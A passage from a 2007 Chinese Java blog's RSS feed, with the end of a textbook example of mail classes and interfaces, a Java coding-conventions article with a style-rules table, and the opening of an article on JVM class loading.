in,then<br>input your postage:");<br>System.out.flush();<br>int p=getInt();<br>//可邮寄包裹<br>PostParcel pa=new<br>PostParcel(address1,address2,w,p);<br>board.putMails(pa);<br>}<br>//不可邮寄包裹<br>else{Parcel pa=new Parcel(address1,address2,w);<br>board.putMails(pa);}<br>}<br>if('2'==ch){<br>System.out.print("Remittance\tMoney:");<br>System.out.flush();<br>int m=getInt();<br>System.out.print("Do you want to post it(Y/N)?");<br>System.out.flush():<br>ch=in.readLine().charAt(0);<br>if('Y'==Character.toUpperCase(ch)){<br>System.out.println("You want to post it,then input<br>postage:");<br>System.out.flush();<br>int p=getInt();<br>//可邮寄汇款<br>PostRemit re=new PostRemit(address1,address2,m,p);<br>board.putMails(re);<br>}<br>//不可邮寄汇款<br>else{Remittance re=new Remittance(address1,address2,m);<br>board.putMails(re);}<br>}<br>}<br>else finished=true;<br>}<br>System.out.println("");<br>board.showAll();//显示邮件信息<br>post();<br>}<br>public static int getInt() throws IEOxception{<br>BufferedReader in=new BufferedReader<br>(new InputStreamReader(System.in));<br>String st=in.readLine();<br>Integer i=new Integer(st);<br>return i.intValue();<br>}<br>private static void post()throws ClassCastException,IOException{<br>int n\board.mailnum();<br>if(n!=0){<br>System.out.println("You have "+n+" mails");<br>boolean end=false;<br>//检查邮寄情况<br>while(!end){<br>System.out.print("\nInput the mail NO you want to check the<br>result(输0退出):");<br>System.out.flush();<br>int i=getInt();<br>if(i!=0){<br>try{<br>Mails obj=board.getMails(i-1);<br>post((MailPost)obj);<br>obj.showMe();<br>}catch(ClassCastException ex){<br>System.out.println("Mail is not postable!");}<br>}<br>else end=true;<br>}<br>}<br>}<br>private static void post(MailPost obj){<br>obj.calPrice();<br>obj.post();<br>}<br>}<br>　　-------------------------<br>　　与第三节例4.8中类的Show相比，改动后的Show的main方法增加了询问是否要将邮件设为可邮寄类型的功能以及相应的处理段，并调用Post()方法邮寄邮件并给出邮寄情况说明。类Show定义了两个post方法来实惠邮寄。这两个方法虽同名，但参数不同，完成的功能也大相径庭。<br>　　第72行至92行的第一个post方法没有参数。它首先给出现有邮件数量，然后根据输入的邮件号通过ShowMails的getMails方法取得邮件，再调用第二个post方法实际将邮件寄出；当输入的邮件号为零时结束。在调用第二个post方法时，需要将邮件显式转换为接口类MailPost:<br>　　83:Mails obj=bord.getMails(i-1);<br>　　84:post((MailPost)obj);<br>因为PostParcel和PostRemit都实现了接口MailPost，都支持这样的转换，就可以通过种形式从功能上将它们统一起来。如果该邮件所属的类没有实现接口MailPost ,如类Parcel或类Remittance，这样的类型转换就不能实现，将引发类型转换异常(ClassCastException)，不再转去调用post方法，而由catch结构给出&#8220;邮件无法被邮寄&#8221;的报错信息：<br>　　86:}catch(ClassCastException ex){<br>　　87:　System.out.println("Mail is not postable!");}<br>其中的try-catch结构是<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中异常处理的典型结构。<br>　　第二个post方法带一个MailPost接口类的参数，它实际调用接口定义的方法calPrice和post将邮件寄出。<br>　　下面我们来看一个Show的执行实例，其中带下划线&#8220;_&#8221;的部分为执行的键盘输入。<br>　　例4.14　Show的执行结果。<br>　　--------------------<br>　　--------------------<br>　　当启动Show的运行后，首先依照提示创建三个邮件对象，其中第一个是不可邮寄包裹后两个分别是可邮寄的包裹和汇款。停止添加邮件后顺序显示现有邮件信息，包括邮件号、邮件类别、地址信息、重量／金额以及已付邮资，并提示现有邮件总数。此时我们可依次检查邮件是否可寄出：<br>　　输入邮件号&#8220;１&#8221;，由于此包裹不是可邮寄包裹类，给出报告：邮件不可寄出；<br>　　输入邮件号&#8220;２&#8221;，该邮件是可邮寄包裹，且通过邮资计算已付足，给出报告：邮件可寄出；<br>　　输入邮件号&#8220;３&#8221;，该邮件是可邮寄汇款，但欠缺邮资，给出报告：邮件需补足邮资，然后列出应交邮费与实交邮费比较。<br>　　最后输入数字&#8220;０&#8221;，结束本次执行。<br>　　这样我们就完成了对第三节中邮件类的扩充和改进，最终得到的包ch4package中所有类和接口的层次继承关系，如图4.2所示。读者可以对照这个图理清它们的继承和实现关系。<br>　　　　　　　　　　　　　Object<br>　　　　　　　　┌─────┼─────┐<br>　　　　　　　　&#8595;　　　　　&#8595;　　　　　&#8595;<br>　　　　　　　Mails　　ShowMails　　show<br>　　　　┌───┴───┐<br>　　　　&#8595;　　　　　　　&#8595;<br>　　　Parcel　　　　Remittance<br>　　　　&#8595;　　　　　　　&#8595;<br>　　PostParcel　　PostRemit<br>　　　　　　↖　　↗<br>　　　　　　MailPost<br>　　　　图4.2 包ch4package的类和接口层次</p>
</div>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135834.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:35 <a href="http://www.blogjava.net/WshmAndLily/articles/135834.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java的代碼規範 [精華] </title><link>http://www.blogjava.net/WshmAndLily/articles/135830.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:31:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135830.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135830.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135830.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135830.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135830.html</trackback:ping><description><![CDATA[定義這個規範的目的是讓專案中所有的文?都看起來像一個人寫的，增加可讀性，減少專案組中因爲換人而帶來的損失。（這些規範並不是一定要?對遵守，但是一定要讓程式有良好的可讀性）
<p>Package 的命名 <br>Package 的名字應該都是由一個小寫單詞組成。 </p>
<p>Class 的命名 <br>Class 的名字必須由大寫字母開頭而其他字母都小寫的單詞組成 </p>
<p>Class 變數的命名 <br>變數的名字必須用一個小寫字母開頭。後面的單詞用大寫字母開頭。 </p>
<p>Static Final 變數的命名 <br>Static Final 變數的名字應該都大寫，並且指出完整含義。 </p>
<p>參數的命名 <br>參數的名字必須和變數的命名規範一致。 </p>
<p>陣列的命名 <br>陣列應該總是用下面的方式來命名： <br>byte[] buffer;&nbsp;&nbsp;&nbsp;&nbsp; <br>而不是： <br>byte buffer[]; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>方法的參數 <br>使用有意義的參數命名，如果可能的話，使用和要賦?的欄位一樣的名字： <br>1234<br>&nbsp;SetCounter(int size)<br>{&nbsp; <br>this.size = size;<br>}</p>
<p>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>Java 文件樣式 <br>所有的 Java(*.java) 文件都必須遵守如下的樣式規則 <br>版權資訊 <br>版權資訊必須在 java 文件的開頭，比如： </p>
<p>/** * Copyright R 2000 XXX Co. Ltd. * All right reserved. */&nbsp;&nbsp;&nbsp;&nbsp; <br>其他不需要出現在 javadoc 的資訊也可以包含在這?。 </p>
<p>Package/Imports <br>package 行要在 import 行之前，import 中標準的包名要在本地的包名之前，而且按照字母順序排列。如果 import 行中包含了同一個包中的不同子目?，則應該用 * 來處理。 <br>123<br>&nbsp;package hotlava.net.stats;<br>import java.io.*;<br>import java.util.Observable;import hotlava.util.Application;&nbsp; </p>
<p>&nbsp;<br>&nbsp;&nbsp; <br>這兒java.io.* 使用來代替InputStream and OutputStream 的。 <br>Class <br>接下來的是類的注釋，一般是用來解釋類的。 <br>1<br>&nbsp;/** * A class representing a set of packet and byte counters * It is observable to allow it to be watched, but only * reports changes when the current set is complete */&nbsp; </p>
<p>&nbsp;<br>&nbsp;&nbsp; <br>接下來是類定義，包含了在不同的行的 extends 和 implements <br>1<br>&nbsp;public class CounterSet&nbsp;&nbsp; extends Observable implements Cloneable&nbsp; </p>
<p>&nbsp;<br>&nbsp;&nbsp; <br>Class Fields </p>
<p>接下來是類的成員變數： <br>123<br>&nbsp; <br>/** * Packet counters */<br>protected int[] packets;</p>
<p>&nbsp;</p>
<p>public 的成員變數必須生成文?（JavaDoc）。proceted、private和 package 定義的成員變數如果名字含義明確的話，可以沒有注釋。 </p>
<p>存取方法 <br>接下來是類變數的存取的方法。它只是簡單的用來將類的變數賦?獲取?的話，可以簡單的寫在一行上。 <br>12345678910111213<br>&nbsp; <br>/** * Get the counters * @return an array containing the statistical data.&nbsp; This array has been * freshly allocated and can be modified by the caller. */public int[] getPackets() { <br>return copyArray(packets, offset); <br>}<br>public int[] getBytes() { <br>return copyArray(bytes, offset); <br>}<br>public int[] getPackets() {<br>&nbsp;return packets; <br>}<br>public void setPackets(int[] packets) { <br>this.packets = packets;<br>&nbsp;}</p>
<p>&nbsp;</p>
<p>其他的方法不要寫在一行上 </p>
<p>構造函數 <br>接下來是構造函數，它應該用遞增的方式寫（比如：參數多的寫在後面）。 <br>訪問類型 ("public", "private" 等.) 和 任何 "static", "final" 或 "synchronized" 應該在一行中，並且方法和參數?寫一行，這樣可以使方法和參數更易讀。 <br>1234<br>&nbsp;public CounterSet<br>(int size){&nbsp; <br>this.size = size;<br>}</p>
<p>&nbsp;</p>
<p>克隆方法 <br>如果這個類是可以被克隆的，那?下一?就是 clone 方法： <br>12345678910111213<br>&nbsp; <br>public Object clone() <br>{&nbsp; <br>try {&nbsp;&nbsp; <br>&nbsp;CounterSet obj = (CounterSet)super.clone();&nbsp;&nbsp; <br>&nbsp;obj.packets = (int[])packets.clone();&nbsp;&nbsp; <br>&nbsp;obj.size = size;&nbsp;&nbsp;&nbsp; <br>return obj;&nbsp; <br>}<br>catch(CloneNotSupportedException e) {&nbsp;&nbsp;&nbsp; <br>throw new InternalError("Unexpected CloneNotSUpportedException: " + e.getMessage());&nbsp; <br>}<br>}</p>
<p>&nbsp;</p>
<p>類方法 <br>下面開始寫類的方法： <br>12345678<br>&nbsp;/** * Set the packet counters * (such as when restoring from a database) */<br>protected finalvoid setArray(int[] r1, int[] r2, int[] r3, int[] r4)&nbsp; throws IllegalArgumentException<br>{&nbsp; <br>//&nbsp; // Ensure the arrays are of equal size&nbsp; // <br>&nbsp;if (r1.length != r2.length || r1.length != r3.length || r1.length != r4.length)<br>&nbsp; throw new IllegalArgumentException("Arrays must be of the same size");&nbsp; System.arraycopy(r1, 0, r3, 0, r1.length);&nbsp; <br>&nbsp;System.arraycopy(r2, 0, r4, 0, r1.length);<br>}</p>
<p>&nbsp;</p>
<p><br>toString 方法 <br>無論如何，?一個類都應該定義 toString 方法： <br>12345678910<br>&nbsp;public String toString() <br>{&nbsp; <br>String retval = "CounterSet: ";&nbsp;&nbsp; <br>&nbsp;for (int i = 0; i &lt; data.length(); i++) {&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; retval += data.bytes.toString();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval += data.packets.toString(); <br>&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp; <br>return retval;&nbsp; <br>}<br>}</p>
<p>&nbsp;</p>
<p><br>main 方法 <br>如果main(String[]) 方法已經定義了, 那?它應該寫在類的底部. <br>代碼編寫格式 </p>
<p>代碼樣式 <br>代碼應該用 unix 的格式，而不是 windows 的（比如：回車變成回車+換行） </p>
<p>文?化 <br>必須用 javadoc 來爲類生成文?。不僅因爲它是標準，這也是被各種 java 編譯器都認可的方法。使用 @author 標記是不被推薦的，因爲代碼不應該是被個人擁有的。 </p>
<p>縮進 <br>縮進應該是?行2個空格. 不要在原始?案中保存Tab字元. 在使用不同的源代碼管理工具時Tab字元將因爲用?設置的不同而擴展爲不同的寬度. <br>如果?使用 UltrEdit 作爲?的 Java 源代碼編輯器的話，?可以通過如下操作來禁止保存Tab字元, 方法是通過 UltrEdit中先設定 Tab 使用的長度室2個空格，然後用 Format|Tabs to Spaces 功能表將 Tab 轉換爲空格。 </p>
<p>頁寬 <br>頁寬應該設置爲80字元. 源代碼一般不會超過這個寬度, 並導致無法完整顯示, 但這一設置也可以靈活調整. 在任何情況下, 超長的語句應該在一個逗號或者一個操作符後折行. 一條語句折行後, 應該比原來的語句再縮進2個字元. </p>
<p>{} 對 <br>{} 中的語句應該單獨作爲一行. 例如, 下面的第1行是錯誤的, 第2行是正確的: <br>12<br>&nbsp;if (i&gt;0) { i ++ }; <br>// 錯誤, { 和 } 在同一行</p>
<p>&nbsp;</p>
<p><br>1234<br>&nbsp; if (i&gt;0) {<br>&nbsp;i ++ <br>&nbsp;}; <br>&nbsp;// 正確, { 單獨作爲一行 } 語句永遠單獨作爲一行. </p>
<p>&nbsp;</p>
<p>如果 } 語句應該縮進到與其相對應的 { 那一行相對齊的位置。 </p>
<p>括弧 <br>左括弧和後一個字元之間不應該出現空格, 同樣, 右括弧和前一個字元之間也不應該出現空格. 下面的例子?明括弧和空格的錯誤及正確使用: <br>12<br>&nbsp;CallProc( AParameter ); // 錯誤 <br>CallProc(AParameter); // 正確 </p>
<p>&nbsp;</p>
<p>不要在語句中使用無意義的括弧. 括弧只應該爲達到某種目的而出現在源代碼中。下面的例子?明錯誤和正確的用法: <br>12<br>&nbsp;if ((I) = 42) { // 錯誤 - 括弧毫無意義 <br>if (I == 42) or (J == 42) then // 正確 - 的確需要括弧 </p>
<p>&nbsp;</p>
<p>程式編寫規範 <br>exit() <br>exit 除了在 main 中可以被調用外，其他的地方不應該調用。因爲這樣做不給任何代碼代碼機會來截獲退出。一個類似後臺服務地程式不應該因爲某一個庫模組決定了要退出就退出。 </p>
<p>異常 <br>申明的錯誤應該抛出一個RuntimeException或者派生的異常。 <br>頂層的main()函數應該截獲所有的異常，並且列印（或者記?在日誌中）在螢幕上。 </p>
<p>??收集 <br>JAVA使用成熟的後臺??收集技術來代替引用計數。但是這樣會導致一個問題：?必須在使用完物件的實例以後進行清場工作。比如一個prel的程式師可能這?寫： <br>1234<br>&nbsp;&nbsp; ...&nbsp; {<br>&nbsp;&nbsp;&nbsp; FileOutputStream fos = new FileOutputStream(projectFile);<br>&nbsp;&nbsp;&nbsp; project.save(fos, "IDE Project File");<br>&nbsp;&nbsp; }&nbsp; ...</p>
<p>&nbsp;</p>
<p>除非輸出流一出作用域就關閉，非引用計數的程式語言，比如JAVA，是不能自動完成變數的清場工作的。 <br>必須象下面一樣寫： <br>&nbsp; FileOutputStream fos = new FileOutputStream(projectFile); <br>&nbsp; project.save(fos, "IDE Project File"); <br>&nbsp; fos.close(); <br>Clone <br>下面是一種有用的方法： <br>1234567891011<br>&nbsp;&nbsp; implements Cloneable&nbsp; public&nbsp;&nbsp;&nbsp; Object clone()&nbsp;&nbsp;&nbsp; {&nbsp; <br>&nbsp;&nbsp;&nbsp; try { <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ThisClass obj = (ThisClass)super.clone();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; obj.field1 = (int[])field1.clone();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; obj.field2 = field2;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return obj; <br>&nbsp;&nbsp;&nbsp;&nbsp; } <br>catch(CloneNotSupportedException e) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new InternalError("Unexpected CloneNotSUpportedException: " + e.getMessage());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br>&nbsp;}</p>
<p>&nbsp;</p>
<p>final 類 <br>?對不要因爲性能的原因將類定義爲 final 的（除非程式的框架要求） <br>如果一個類還沒有準備好被繼承，最好在類文?中注明，而不要將?定義爲 final 的。這是因爲沒有人可以保證會不會由於什?原因需要繼承?。 </p>
<p>訪問類的成員變數 <br>大部分的類成員變數應該定義爲 protected 的來防止繼承類使用他們。 <br>注意，要用"int[] packets"，而不是"int packets[]"，後一種永遠也不要用。 <br>1234567<br>&nbsp; <br>public void setPackets(int[] packets) { <br>this.packets = packets; <br>}<br>&nbsp;CounterSet(int size){<br>this.size = size;<br>}</p>
<p>&nbsp;<strong> </strong>
<table cellSpacing=0 cellPadding=0 width=1298 border=0 x:str>
    <colgroup><strong>
    <col width=85>
    <col width=125>
    <col width=165>
    <col width=617>
    <col width=50>
    <col width=42>
    <col width=53>
    <col width=69>
    <col width=72>
    <col width=20></strong>
    <tbody>
        <tr height=18>
            <td width=85 height=36 rowSpan=2>文件构成</td>
            <td width=125 rowSpan=2>文件路径</td>
            <td width=165>模块位置</td>
            <td width=617>文件应当属于他所在的模块（serivce,dao&#8230;&#8230; ）目录。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td width=69>　</td>
            <td width=72></td>
            <td width=20></td>
        </tr>
        <tr height=18>
            <td height=18>机能位置</td>
            <td width=617>文件属于他所对应的机能目录。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=319 rowSpan=15>命名规则</td>
            <td>包名</td>
            <td>包名</td>
            <td width=617>首字母小写，名词方式或者编号方式命名</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=19>类名</td>
            <td>类名</td>
            <td width=617>首字母大写，单词第一个字母大写。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=38 rowSpan=2>常量</td>
            <td>常量</td>
            <td width=617>定义为静态（static），定义为终结（final）</td>
            <td width=50>　</td>
            <td width=42>　</td>
            <td width=53>●</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=19>常量名</td>
            <td width=617>常量名全部使用大写，单词间使用（_）分割</td>
            <td width=50>　</td>
            <td width=42>　</td>
            <td width=53>●</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=57 rowSpan=3>方法名</td>
            <td>无返回值方法名</td>
            <td>首字母小写，机能方式命名。</td>
            <td width=50>　</td>
            <td width=42>　</td>
            <td width=53>●</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=19>其他类型方法名</td>
            <td>首字母小写</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>Boolean型方法名</td>
            <td width=617>is+形容词，can+动词，has+名词/动词过去式</td>
            <td width=50>　</td>
            <td width=42>　</td>
            <td width=53>●</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=38 rowSpan=2>变量名</td>
            <td>Boolean型变量名</td>
            <td width=617>is+形容词，can+动词，has+名词/动词过去式</td>
            <td>　</td>
            <td>　</td>
            <td width=53>●</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td height=19>其他类型变量名</td>
            <td width=617>首字母小写</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>英文</td>
            <td width=165>拼写正确</td>
            <td width=617>英语单词拼写正确</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td width=69>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>对称性</td>
            <td width=165>命名单词对称</td>
            <td width=617 x:str="add/remove insert/delete insert/delete start/stop begin/end &#8230;&#8230; ">add/remove insert/delete insert/delete start/stop begin/end &#8230;&#8230;&nbsp;</td>
            <td>　</td>
            <td>　</td>
            <td width=53>●</td>
            <td width=69>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>循环用变量</td>
            <td width=165>循环用变量命名</td>
            <td width=617>根据使用次序按照i j k l m n 依次使用</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=36>
            <td width=125 height=36>临时变量</td>
            <td width=165>临时变量命名</td>
            <td width=617>使用该变量类型每个单词的首字母小写命名，如（ServeletContext sc;）<br>使用该变量类型名，将该名称首字母小写，如（Array array; 或者 Array arr;）</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>方法参数</td>
            <td>方法参数命名</td>
            <td width=617>定义方式参照变量名定义。参数名能够表示该参数的含义。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=36>
            <td width=125 height=36>内部变量</td>
            <td width=165>内部变量命名</td>
            <td width=617>用于保存公开变量（publci String getXXX()）的内部变量，使用XXX作为变量名命名（但首字母要小写）</td>
            <td width=50>　</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=85 height=247 rowSpan=13>编程样式</td>
            <td width=125>注释</td>
            <td width=165>注释方式</td>
            <td width=617>单行注释使用"//"+空格+注释内容。多行注释使用/*...*/。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>缩进方式</td>
            <td width=165>缩进方式</td>
            <td width=617>使用1个tab进行缩进处理</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=57 rowSpan=3>括号方式</td>
            <td width=165>类</td>
            <td width=617>起始括号位于类定义行末尾，结束括号单独一行，与类定义对齐。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>方法</td>
            <td width=617>起始括号位于方法定义行末尾，结束括号单独一行，与方法定义对齐。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>程序分支</td>
            <td width=617>起始括号位于分支定义行末尾，结束括号单独一行，与分支定义对齐。</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>行的长度</td>
            <td width=165>行的长度</td>
            <td width=617>每行程序的长度不得超过80个字符。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>private</td>
            <td width=165>使用范围</td>
            <td width=617>除去公开方法或者属性外，应当全部定义为private。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>protected</td>
            <td width=165>使用范围</td>
            <td width=617>共通类/方法以外，没有特殊要求，不得使用protected定义。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>public</td>
            <td width=165>使用范围</td>
            <td width=617>允许外部访问和修改的方法/变量。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=38 rowSpan=2>if/while</td>
            <td width=165>"="符号的使用</td>
            <td width=617>在if/while语句的判断式内，不能使用"="符号。</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>"&lt; &gt; &lt;= &gt;="的使用</td>
            <td width=617>在同一个判断式中的多个部分内，不允许同时出现"&lt;"和"&gt;"（判断方向必须一致）</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>循环处理</td>
            <td width=165>循环处理嵌套</td>
            <td width=617>循环处理不允许嵌套3层以上。</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>循环变量</td>
            <td width=165>循环变量</td>
            <td width=617>不允许多个循环代码使用同一个变量作为循环参数。</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=85 height=171 rowSpan=9>　</td>
            <td width=125 rowSpan=2>文件注释</td>
            <td width=165>注释方式</td>
            <td width=617>使用多行注释</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>改版履历</td>
            <td width=617>式样变更的改版履历，内容有（时间，式样版本，对应者）</td>
            <td width=50>　</td>
            <td width=42>　</td>
            <td width=53>●</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=57 rowSpan=3>类注释</td>
            <td width=165>注释方式</td>
            <td width=617>使用多行注释</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>机能说明</td>
            <td width=617>对机能进行简单说明。</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>创建者</td>
            <td width=617>记录创建者（@author）</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=57 rowSpan=3>方法注释</td>
            <td width=165>注释方式</td>
            <td width=617>使用多行注释</td>
            <td width=50>●</td>
            <td>　</td>
            <td>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>机能说明</td>
            <td width=617>对机能进行简单说明。</td>
            <td width=50>　</td>
            <td width=42>●</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=165 height=19>参数说明</td>
            <td width=617>对参数和返回值进行简单说明。</td>
            <td width=50>　</td>
            <td width=42>●</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=125 height=19>变量注释</td>
            <td width=165>注释方式</td>
            <td width=617>使用单行注释</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
        <tr height=19>
            <td width=85 height=19>其他</td>
            <td width=125>判断式</td>
            <td width=165>判断式</td>
            <td width=617>使用"&lt; &gt; = &amp;&amp; ||"等判断式组成多次组合判断时，使用括号标明判断式执行次序。</td>
            <td width=50>●</td>
            <td width=42>　</td>
            <td width=53>　</td>
            <td>　</td>
            <td></td>
            <td></td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135830.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:31 <a href="http://www.blogjava.net/WshmAndLily/articles/135830.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java虚拟机类装载：原理、实现与应用</title><link>http://www.blogjava.net/WshmAndLily/articles/135825.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:22:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135825.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135825.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135825.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135825.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135825.html</trackback:ping><description><![CDATA[<h2 class=diaryTitle>Java虚拟机类装载：原理、实现与应用 </h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<p>&#160;</p>
<table cellSpacing=0 cellPadding=0 width="100%" border=0>
    <tbody>
        <tr>
            <td align=middle width="3%" height=17 rowSpan=2></td>
            <td colSpan=2><span class=style2><strong>Java虚拟机类装载：原理、实现与应用 </strong></span><strong><br></strong>
            <hr align=left width="95%" color=#597282 noShade SIZE=1>
            <span class=style3>By&nbsp;jorren 发表于 2005-12-21 15:13:00</span></td>
        </tr>
        <tr>
            <td colSpan=2><br><span class=style6>
            <p>一、引言 </p>
